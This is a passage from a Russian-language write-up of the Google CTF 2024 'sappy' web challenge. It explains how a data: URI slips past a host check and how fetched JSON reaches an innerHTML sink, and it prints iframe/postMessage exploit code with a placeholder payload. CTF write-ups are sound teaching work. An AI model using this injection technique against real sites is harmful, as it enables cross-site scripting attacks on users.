onload='this.contentWindow.postMessage(\"{\\\"method\\\":\\\"initialize\\\",\\\"host\\\":\\\"...\\\"}\",\"*\")'><\/code><\/pre>\n<h4>\u0424\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 url \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c API.host \u0438 data.page<\/h4>\n<pre><code class=\"json\">const Uri = goog.require(\"goog.Uri\"); ... case \"render\": { if (typeof data.page !== \"string\") return; const url = buildUrl({ host: API.host, page: data.page, }); }  ... function buildUrl(options) { return getHost(options) + \"\/sap\/\" + options.page; } ...  function getHost(options) { if (!options.host) { const u = Uri.parse(document.location); return u.scheme + \":\/\/sappy-web.2024.ctfcompetition.com\"; } return validate(options.host); }<\/code><\/pre>\n<p>\u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e \u0438\u0437 \u043a\u043e\u0434\u0430 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 <code>API.host<\/code> \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 <code>\":\/\/sappy-web.2024.ctfcompetition.com\"<\/code>, \u043d\u043e \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0445\u0435\u043c\u044b. <\/p>\n<p>\u0422\u0443\u0442 \u043c\u044b \u0437\u043d\u0430\u043a\u043e\u043c\u0438\u043c\u0441\u044f \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439 data.<\/p>\n<h3>\u0421\u0445\u0435\u043c\u0430 DATA:,<\/h3>\n<p>\u0421 \u043e\u0431\u0449\u0438\u043c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0441\u0445\u0435\u043c\u044b \u043c\u043e\u0436\u043d\u043e \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0438\u0437 RFC.<\/p>\n<p><a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/rfc2397\" rel=\"noopener noreferrer nofollow\">RFC<\/a>:<\/p>\n<pre><code>   Some applications that use URLs also have a need to embed (small)    media type data directly inline. This document defines a new URL    scheme that would work like 'immediate addressing'. The URLs are of    the form:                      data:[&lt;mediatype>][;base64],&lt;data>     The &lt;mediatype> is an Internet media type specification (with    optional parameters.) The appearance of \";base64\" means that the data    is encoded as base64. Without \";base64\", the data (as a sequence of    octets) is represented using ASCII encoding for octets inside the    range of safe URL characters and using the standard %xx hex encoding    of URLs for octets outside that range.  If &lt;mediatype> is omitted, it    defaults to text\/plain;charset=US-ASCII.  As a shorthand,    \"text\/plain\" can be omitted but the charset parameter supplied.<\/code><\/pre>\n<pre><code>   A data URL might be used for arbitrary types of data. The URL                            data:,A%20brief%20note     encodes the text\/plain string \"A brief note\", which might be useful    in a footnote link. <\/code><\/pre>\n<p>\u041d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f<\/p>\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/Data_URI_scheme\" rel=\"noopener noreferrer nofollow\">Wiki<\/a>:<\/p>\n<blockquote>\n<p>The minimal data URI is\u00a0<code>data:,<\/code>, consisting of the scheme, no media-type, and zero-length data.<\/p>\n<p>Thus, within the overall URI syntax, a data URI consists of a\u00a0<strong>scheme<\/strong>\u00a0and a\u00a0<strong>path<\/strong>, with no\u00a0<strong>authority<\/strong>\u00a0part,\u00a0<strong>query string<\/strong>, or\u00a0<strong>fragment<\/strong>. The optional\u00a0<strong>media type<\/strong>, the optional\u00a0<strong>base64<\/strong>\u00a0indicator, and the data are all parts of the URI path.<\/p>\n<\/blockquote>\n<p>\u0418\u0437 \u0432\u0441\u0435\u0433\u043e \u0432\u044b\u0448\u0435-\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u0435\u043b\u0430\u0435\u043c \u0432\u044b\u0432\u043e\u0434, \u0447\u0442\u043e \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u044b \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u044c <code>data:{\u0447\u0442\u043e \u0443\u0433\u043e\u0434\u043d\u043e},{\u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435}<\/code>.<\/p>\n<p>\u0422\u043e\u0433\u0434\u0430 payload \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0433\u0430\u0434\u0436\u0435\u0442\u0430 \u0431\u0443\u0434\u0435\u0442 \u0438\u043c\u0435\u0442\u044c \u0432\u0438\u0434:<\/p>\n<pre><code class=\"javascript\">data:\/\/sappy-web.2024.ctfcompetition.com\/,{payload}<\/code><\/pre>\n<p>\u0410 exploit \u0431\u0443\u0434\u0435\u0442 \u0438\u043c\u0435\u0442\u044c \u0432\u0438\u0434:<\/p>\n<pre><code class=\"xml\">&lt;iframe src=\"https:\/\/sappy-web.2024.ctfcompetition.com\/sap.html\" onload='this.contentWindow.postMessage(\"{\\\"method\\\":\\\"initialize\\\",\\\"host\\\":\\\"data:\/\/sappy-web.2024.ctfcompetition.com\/,{payload}\\\"}\",\"*\")'><\/code><\/pre>\n<h4>AJAX \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 url \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c fetch()<\/h4>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043d\u0430\u0434\u043e \u0437\u043d\u0430\u0442\u044c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 fetch \u0438 promise.<\/p>\n<h3>Promise<\/h3>\n<p><a href=\"https:\/\/learn.javascript.ru\/promise\" rel=\"noopener noreferrer nofollow\">\u0421\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u0443\u0447\u0435\u0431\u043d\u0438\u043a JavaScript<\/a>:<\/p>\n<blockquote>\n<p>Promise \u2013 \u044d\u0442\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0431\u044a\u0435\u043a\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u0432\u043e\u0451 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435. \u0412\u043d\u0430\u0447\u0430\u043b\u0435\u00a0<code>pending<\/code>(\u00ab\u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435\u00bb), \u0437\u0430\u0442\u0435\u043c \u2013 \u043e\u0434\u043d\u043e \u0438\u0437:\u00a0<code>fulfilled<\/code>\u00a0(\u00ab\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u00bb) \u0438\u043b\u0438\u00a0<code>rejected<\/code>\u00a0(\u00ab\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439\u00bb).<br \/> &#8230;<br \/> \u0421\u043f\u043e\u0441\u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f, \u0432 \u043e\u0431\u0449\u0438\u0445 \u0447\u0435\u0440\u0442\u0430\u0445, \u0442\u0430\u043a\u043e\u0439:<\/p>\n<ol>\n<li>\n<p>\u041a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043d\u0430\u0434\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u0430\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u043e, \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043e\u0431\u044a\u0435\u043a\u0442\u00a0<code>promise<\/code>\u00a0\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0435\u0433\u043e.<\/p>\n<\/li>\n<li>\n<p>\u0412\u043d\u0435\u0448\u043d\u0438\u0439 \u043a\u043e\u0434, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u00a0<code>promise<\/code>, \u043d\u0430\u0432\u0435\u0448\u0438\u0432\u0430\u0435\u0442 \u043d\u0430 \u043d\u0435\u0433\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438.<\/p>\n<\/li>\n<li>\n<p>\u041f\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0430\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442\u00a0<code>promise<\/code>\u00a0\u0432 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u00a0<code>fulfilled<\/code>\u00a0(\u0441 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c) \u0438\u043b\u0438\u00a0<code>rejected<\/code>\u00a0(\u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439). \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0432\u043e \u0432\u043d\u0435\u0448\u043d\u0435\u043c \u043a\u043e\u0434\u0435.<\/p>\n<\/li>\n<\/ol>\n<\/blockquote>\n<h3>fetch()<\/h3>\n<p><a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/API\/fetch\" rel=\"noopener noreferrer nofollow\">MDN<\/a>:<\/p>\n<blockquote>\n<p>The global <code>fetch()<\/code> method starts the process of fetching a resource from the network, returning a promise that is fulfilled once the response is available.<\/p>\n<\/blockquote>\n<p>(\u0434\u043e\u0441\u043b\u043e\u0432\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434): &#171;<em>\u0413\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 <\/em><code>fetch()<\/code><em> \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0441\u0443\u0440\u0441\u0430 \u0438\u0437 \u0441\u0435\u0442\u0438, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u044f promise, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d (\u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 <\/em><code>fulfilled<\/code><em>), \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442\u0432\u0435\u0442 (Response) \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d<\/em>.&#187;<\/p>\n<blockquote>\n<p>The promise resolves to the <code>Response<\/code> object representing the response to your request.<\/p>\n<\/blockquote>\n<p>(\u0434\u043e\u0441\u043b\u043e\u0432\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434): &#171;<em>Promise \u0440\u0435\u0437\u043e\u043b\u0432\u0438\u0442\u0441\u044f \u0432 \u043e\u0431\u044a\u0435\u043a\u0442 <\/em><code>Response<\/code><em>, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0432\u0430\u0448 \u0437\u0430\u043f\u0440\u043e\u0441.<\/em>&#171;<\/p>\n<blockquote>\n<p>A <code>fetch()<\/code> promise only rejects when the request fails, for example, because of a badly-formed request URL or a network error. A <code>fetch()<\/code> promise <em>does not<\/em> reject if the server responds with HTTP status codes that indicate errors (<code>404<\/code>, <code>504<\/code>, etc.). Instead, a <code>then()<\/code> handler must check the <code>Response.ok<\/code> and\/or <code>Response.status<\/code> properties.<\/p>\n<\/blockquote>\n<p>(\u0434\u043e\u0441\u043b\u043e\u0432\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434): &#171;<em>Promise <\/em><code>fetch()<\/code><em> \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e URL-\u0430\u0434\u0440\u0435\u0441\u0430 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0438\u043b\u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438. Promise <\/em><code>fetch()<\/code><em> \u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441, \u0435\u0441\u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043a\u043e\u0434\u0430\u043c\u0438 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f HTTP, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u0438 (<\/em><code>404<\/code><em>, <\/em><code>504<\/code><em> \u0438 \u0442. \u0434.). \u0412\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a <\/em><code>then()<\/code><em> \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 <\/em><code>Response.ok<\/code><em> \u0438\/\u0438\u043b\u0438 <\/em><code>Response.status<\/code><em>.<\/em>&#171;<\/p>\n<p>\u0414\u043b\u044f \u043d\u0430\u0441 \u0432\u0430\u0436\u043d\u043e, \u0447\u0442\u043e \u043f\u0440\u0438 \u043b\u044e\u0431\u043e\u043c \u043e\u0442\u0432\u0435\u0442\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, <code>fetch()<\/code> \u0432\u0441\u0435 \u0440\u0430\u0432\u043d\u043e \u0432\u0435\u0440\u043d\u0435\u0442 promise \u0441 \u043e\u0442\u0432\u0435\u0442\u043e\u043c, \u043d\u043e \u043e\u0431 \u044d\u0442\u043e\u043c \u0447\u0443\u0442\u044c \u043f\u043e\u0437\u0436\u0435.<\/p>\n<p>\u041a\u043e\u0433\u0434\u0430 \u0432\u044b \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0435\u00a0<code>fetch<\/code>, \u043e\u043d \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 promise, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0440\u0435\u0437\u0432\u0438\u0442\u0441\u044f \u0432 \u043e\u0431\u044a\u0435\u043a\u0442 \u043e\u0442\u0432\u0435\u0442\u0430 (Response). \u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043e\u043b\u044f\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u043e\u0442\u0432\u0435\u0442\u0430, \u043d\u0443\u0436\u043d\u043e \u0434\u043e\u0436\u0434\u0430\u0442\u044c\u0441\u044f resolve \u044d\u0442\u043e\u0433\u043e promise&#8217;\u0430. <\/p>\n<p>\u042d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0430\u043c\u0438: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u0440\u043e\u043c\u0438\u0441\u043e\u0432 (<code>.then()<\/code>) \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f\u00a0<code>await<\/code>\u0432\u043d\u0443\u0442\u0440\u0438 \u0430\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438.<\/p>\n<p><strong>\u041f\u0440\u0438\u043c\u0435\u0440 \u0431\u0435\u0437\u00a0<\/strong><code>await<\/code>:<\/p>\n<pre><code class=\"javascript\">fetch(\"https:\/\/example.com\/api\/data\")   .then(response => {     \/\/ \u0422\u0435\u043f\u0435\u0440\u044c \u0443 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u043e\u0431\u044a\u0435\u043a\u0442 Response     console.log(response.status); \/\/ \u041f\u0440\u0438\u043c\u0435\u0440 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u043e\u043b\u044e \u0441\u0442\u0430\u0442\u0443\u0441\u0430     return response.text(); \/\/ \u0415\u0441\u043b\u0438 \u0432\u044b \u043e\u0436\u0438\u0434\u0430\u0435\u0442\u0435 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u043e\u0442\u0432\u0435\u0442   })<\/code><\/pre>\n<p><code>await fetch()<\/code>\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0430\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f promise&#8217;\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u00a0<code>fetch()<\/code>. \u042d\u0442\u043e \u0443\u043f\u0440\u043e\u0449\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0441 \u0430\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u044b\u043c\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438, \u0442\u0430\u043a \u043a\u0430\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0438\u0441\u0430\u0442\u044c \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u043e.<\/p>\n<p><strong>\u041f\u0440\u0438\u043c\u0435\u0440 \u0441\u00a0<\/strong><code>await<\/code>:<\/p>\n<pre><code class=\"javascript\">async function fetchData() {    const response = await fetch('https:\/\/example.com\/api\/data');    const data = await response.json();    console.log(data);  }  fetchData();<\/code><\/pre>\n<p>\u041d\u0430 \u0434\u0430\u043d\u043d\u043e\u043c \u044d\u0442\u0430\u043f\u0435 event listener&#8217;\u0443 \u043d\u0443\u0436\u043d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0443\u0436\u0435 \u0434\u0432\u0430 event&#8217;\u0430.<\/p>\n<pre><code class=\"xml\">&lt;iframe id=\"myIframe\" src=\"https:\/\/sappy-web.2024.ctfcompetition.com\/sap.html\" onload=sendMessages()>&lt;\/iframe> &lt;script> function sendMessages() { const iframe = document.getElementById('myIframe'); const iframeWindow = iframe.contentWindow; const messages = [ '{\"method\": \"initialize\",\"host\": \"data:\/\/sappy-web.2024.ctfcompetition.com\/\"}', '{\"method\": \"render\", \"page\": \\\\\",{payload}\\\\\"}\"}' ]; messages.forEach(message => { iframeWindow.postMessage(message, \"*\"); }); } &lt;\/script> <\/code><\/pre>\n<blockquote>\n<p><strong>\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435<\/strong>. \u0417\u0434\u0435\u0441\u044c \u044f \u043f\u0435\u0440\u0435\u043d\u0435\u0441 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 payload \u0432 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043a\u043b\u044e\u0447\u0430 <code>\"page\"<\/code> \u0434\u043b\u044f \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u0430.<\/p>\n<\/blockquote>\n<h3>\u041e\u0442\u0432\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 json \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043a\u043b\u044e\u0447 html, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 sink<\/h3>\n<pre><code class=\"javascript\">const json = await resp.json(); if (typeof json.html === \"string\") { output.innerHTML = json.html; }<\/code><\/pre>\n<p>\u0415\u0441\u043b\u0438 \u043c\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043c\u0435\u0442\u043e\u0434 <code>fetch()<\/code> \u0434\u043b\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0440\u0435\u0441\u0443\u0440\u0441\u0430 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 json, \u0442\u043e \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043e\u0442\u0432\u0435\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043c\u0435\u0442\u043e\u0434 <code>Response.json()<\/code>.<\/p>\n<p>\u0415\u0441\u0442\u044c \u0440\u0435\u0441\u0443\u0440\u0441 \u0434\u043b\u044f \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0433\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u0430: <a href=\"https:\/\/mdn.github.io\/dom-examples\/fetch\/fetch-json\/\" rel=\"noopener noreferrer nofollow\">https:\/\/mdn.github.io\/dom-examples\/fetch\/fetch-json\/<\/a>.<\/p>\n<p>\u0410\u0434\u0440\u0435\u0441 <a href=\"https:\/\/mdn.github.io\/dom-examples\/fetch\/fetch-json\/products.json\" rel=\"noopener noreferrer nofollow\">https:\/\/mdn.github.io\/dom-examples\/fetch\/fetch-json\/products.json<\/a> \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043c\u0430\u0441\u0441\u0438\u0432 JSON \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/4d5\/e83\/98b\/4d5e8398b4080557bff17425096a36ad.png\" width=\"1684\" height=\"348\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/4d5\/e83\/98b\/4d5e8398b4080557bff17425096a36ad.png\"\/><\/figure>\n<blockquote>\n<p><strong>\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435 1<\/strong>. \u0412 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0435 <code>fetch()<\/code> \u0443\u043a\u0430\u0437\u0430\u043d \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441, \u0442.\u043a. \u0437\u0430\u043f\u0440\u043e\u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u0441\u044f \u0432 \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u043f\u0430\u043d\u0435\u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u0440\u0435\u0441\u0443\u0440\u0441\u0430.<\/p>\n<\/blockquote>\n<blockquote>\n<p><strong>\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435 2<\/strong>. \u041c\u0435\u0442\u043e\u0434 <code>json()<\/code> \u0442\u0430\u043a \u0436\u0435 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 promise, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c <code>await<\/code> \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043e\u0431\u044a\u0435\u043a\u0442\u0430.<\/p>\n<\/blockquote>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0441\u0445\u0435\u043c\u0443 <code>data:,{payload}<\/code> \u0441 json \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 payload&#8217;\u0430 <code>{\"foo\":\"bar\"}<\/code> \u0432 URI \u0438 \u043c\u0435\u0442\u043e\u0434 <code>json()<\/code>:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/ca1\/b60\/eb2\/ca1b60eb27e5c2b993996fd3ac6b9549.png\" width=\"1229\" height=\"184\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/ca1\/b60\/eb2\/ca1b60eb27e5c2b993996fd3ac6b9549.png\"\/><\/figure>\n<p>\u0418 \u043c\u044b \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 <code>url<\/code> \u0432\u0435\u0440\u043d\u0443\u043b\u0438\u0441\u044c \u0432 \u0432\u0438\u0434\u0435 JSON \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0438\u0437 \u043e\u0442\u0432\u0435\u0442\u0430.<\/p>\n<p>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043a\u043e\u0434 \u0432\u0438\u0434\u0430:<\/p>\n<pre><code class=\"javascript\">res = await fetch(url); foo = await res.json();<\/code><\/pre>\n<p>\u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u043c \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 json \u043e\u0431\u044a\u0435\u043a\u0442\u044b \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0434\u043d\u043e\u0433\u043e \u0438 \u0442\u043e\u0433\u043e \u0436\u0435 \u0434\u043e\u043c\u0435\u043d\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u0445\u0435\u043c\u0443 <code>data:,<\/code> \u0438 promise&#8217;\u044b \u043c\u0435\u0442\u043e\u0434\u0430 <code>fetch()<\/code>.<\/p>\n<p>\u041f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e <code>url<\/code> \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f 